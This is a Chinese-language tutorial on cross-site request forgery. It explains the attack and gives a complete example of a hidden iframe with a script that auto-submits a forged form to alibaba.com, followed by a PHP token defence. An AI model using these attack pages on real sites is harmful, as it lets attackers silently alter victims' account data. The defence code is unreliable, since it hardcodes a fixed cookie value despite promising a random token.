Web安全之CSRF跨站請求偽造攻擊
CSRF全稱Cross-Site Request Forgery,跨站請求偽造攻擊。
其攻擊原理是:
攻擊者在使用者瀏覽網頁時,利用頁面元素(例如img的src),強迫受害者的瀏覽器向Web應用程式傳送一個改變使用者資訊的請求。
由於發生CSRF攻擊後,攻擊者是強迫使用者向伺服器傳送請求,所以會造成使用者資訊被迫修改,更嚴重者引發蠕蟲攻擊。
CSRF攻擊可以從站外和站內發起。
從站內發起CSRF攻擊,需要利用網站本身的業務,比如“自定義頭像”功能,惡意使用者指定自己的頭像URL是一個修改使用者資訊的連結,當其他已登入使用者瀏覽惡意使用者頭像時,會自動向這個連結傳送修改資訊請求。
從站外
如果惡意使用者能夠知道網站管理後臺某項功能的URL,就可以直接攻擊管理員,強迫管理員執行惡意使用者定義的操作。
攻擊
下面我們舉個例子。
一個沒有CSRF安全防禦的程式碼如下:
$userid=$_SESSION["userid"];
$email=$_REQUEST["email"];
$tel=$_REQUEST["tel"];
$realname=$_REQUEST["realname"];
$params = array();
$params [0] =$email;
$params[1] = $tel;
$params[2] = $realname;
$params[3] =$userid;
$sql = "update user set email=?,tel=?,realname=? where userid=?";
execUpdate($sql,$params);
程式碼中接收使用者提交的引數“email,tel,realname”,之後修改了該使用者的資料,一旦接收到一個使用者發來的請求,就執行修改操作。
提交表單程式碼:
<form action="http://localhost/servlet/modify" method="POST">
<input name="email">
<input name="tel">
<input name="realname">
<input name="userid">
<input type="submit">
</form>
當用戶點提交時,就會觸發修改操作。
下面我們說說如何攻擊這麼一個網站。如果該網站啊alibaba.com的一個部分,那麼我們可以構建兩個html頁面:
1. 第一個頁面a.html,其中通過iframe指向b.html,把寬度和高度都設為0:
<iframe src="b.htm" width="0" height="0"></frame>
這是為了當攻擊發生時,受害使用者看不到提交成功結果頁面。
2. 頁面b.html中,有一個表單和一段指令碼,指令碼的作用是,當頁面載入時自動提交這個表單:
<form id="modify" action="http://alibaba.com/servlet/modify" method="POST">
<input name="email">
<input name="tel">
<input name="realname">
<input name="userid">
<input type="submit">
</form>
<script>
document.getElementById("modify").submit();
</script>
注意表單的指向是alibaba.com/servlet/modify
3. 將a.html放在自己的web伺服器上,傳送給登入使用者即可:
4. 使用者開啟a.html後,會自動提交表單,傳送給alibaba.com下那個存在CSRF漏洞的Web應用,所以使用者的資訊,就被迫修改了。而且整個攻擊過程中,受害者僅僅看到一個空白頁面,且不知道自己資訊已被修改。
防禦
有攻擊就有防禦,要防禦CSRF工具,必須遵循以下三步:
1. 在使用者登入時,設定一個隨機的TOKEN也就是令牌,同時種植在使用者的cookie中,當用戶瀏覽器關閉、或使用者再次登入時,清除TOKEN:
<?php
//構造加密的Cookie資訊
$value = “DefenseSCRF”;
setcookie(”cookie”, $value, time()+3600);
?>
植入令牌到cookie中。
2. 在表單中生成一個隱藏域,它的值就是cookie中隨機TOKEN:
<?php
$hash = md5($_COOKIE['cookie']);
?>
<form action="http://localhost/servlet/modify"method="POST">
<input type=”hidden” name=”hash” value=”<?=$hash;?>”>
<input name="email">
<input name="tel">
<input name="realname">
<input name="userid">
<input type="submit">
</form>
通過md5加密將客戶端cookie中令牌值傳遞到伺服器端。
3. 表單被提交後,就可以判斷表單中的TOKEN和使用者cookie中的TOKEN是否一致,如果不一致或沒有這個值,就是CSRF攻擊:
<?php
if(isset($_POST['hash'])) {
$hash = md5($_COOKIE['cookie']);
if($_POST['hash'] == $hash) {
doJob();
} else {
//...
}
} else {
//...
}
?>
以上就是防禦CSRF的基本方法了。那麼還有幾個問題:
1. 如果表單不是post而是get方式提交呢?
如果用get方式提交,TOKEN會出現在url中,攻擊者可以引誘攻擊者點選自己的網站,然後從http頭部中的referrer 的url來獲取TOKEN,再來攻擊。
2. 為什麼不直接驗證referrer?
網站內部也可能出現CSRF攻擊,而referrer 只能判斷是否來自可信任網站。
3. 如果先發生XSS攻擊,攻擊者可以拿到使用者頁面的TOKEN怎麼辦?
CSRF防禦是建立在XSS防禦之後的防禦,如果XSS防禦失效,攻擊者可以拿到使用者頁面所有資訊,CSRF當然會失去效果。當然我們還是可以防止這種情況的發生,就是在表單提交的時候要求輸入驗證碼。這樣就可以防禦啦。